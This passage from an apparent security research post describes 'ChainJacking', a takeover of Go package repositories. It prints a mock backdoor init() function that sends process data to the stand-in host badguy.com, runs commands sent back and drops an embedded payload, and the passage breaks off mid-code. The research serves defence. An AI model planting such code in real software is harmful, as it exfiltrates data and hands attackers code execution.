package, and poison it while leaving it in the same version, the attack will
fail due to a checksum mismatch³.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;³ It will most likely fail even before this point because Go tooling will pull
the cached package and not access the poisoned repository.&lt;/p&gt;
&lt;p&gt;For an attack to succeed, they must publish a new version of the package and in
some way, lure the owner of the package to update its dependencies. This is a
significant challenge for the attacker with the obvious solution being a manual
pull request, or in case the GitHub repository is configured that way, an
automatic pull request from GitHub&amp;rsquo;s dependabot.&lt;/p&gt;
&lt;h2&gt;Potential Impact&lt;span class="hx:absolute hx:-mt-20" id="potential-impact"&gt;&lt;/span&gt;
&lt;a href="#potential-impact" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We believe that ChainJacking has the potential to cause damage equivalent to
the attack on SolarWinds, since some of the vulnerable Go packages we found are
used as dependencies in popular admin tools designed to run with high
privileges.&lt;/p&gt;
&lt;h2&gt;Practical Example&lt;span class="hx:absolute hx:-mt-20" id="practical-example"&gt;&lt;/span&gt;
&lt;a href="#practical-example" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;rsquo;s look at a commonly used open-source library and show what could happen if
it was susceptible to a take-over. A popular third-party logging package is
called Logrus (&lt;code&gt;github.com/sirupsen/logrus&lt;/code&gt;). If this package is vulnerable, it
can be used to inject malicious code into any applications compiled with the
&amp;ldquo;old&amp;rdquo; repository. In this mock scenario, in addition to code provided by Go
standard library, we are also using the third-party package
&lt;code&gt;github.com/mitchellh/go-ps&lt;/code&gt;. This package allows for enumerating the running
processes on the machine and is platform independent. The package has been used
by multiple malware written in Go. Also, we can use go-binddata to embed an
alternative payload.&lt;/p&gt;
&lt;p&gt;The following code was added to the end of one of the files in the package.
First, a new &lt;code&gt;init&lt;/code&gt; function was created. Go allows for multiple &lt;code&gt;init&lt;/code&gt;
functions to exist in the same package. All &lt;code&gt;init&lt;/code&gt; functions are executed
before the &lt;code&gt;main&lt;/code&gt; function is executed in a non-deterministic order.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;collectData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;writeAndExecute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;collectData&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Processes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Executable&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RawURLEncoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;EncodeToString&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;https://badguy.com/?s1=%s&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ioutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ReadAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Unmarshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1337&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;writeAndExecute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bindataPayloadExeBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bindataPayloadElfBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
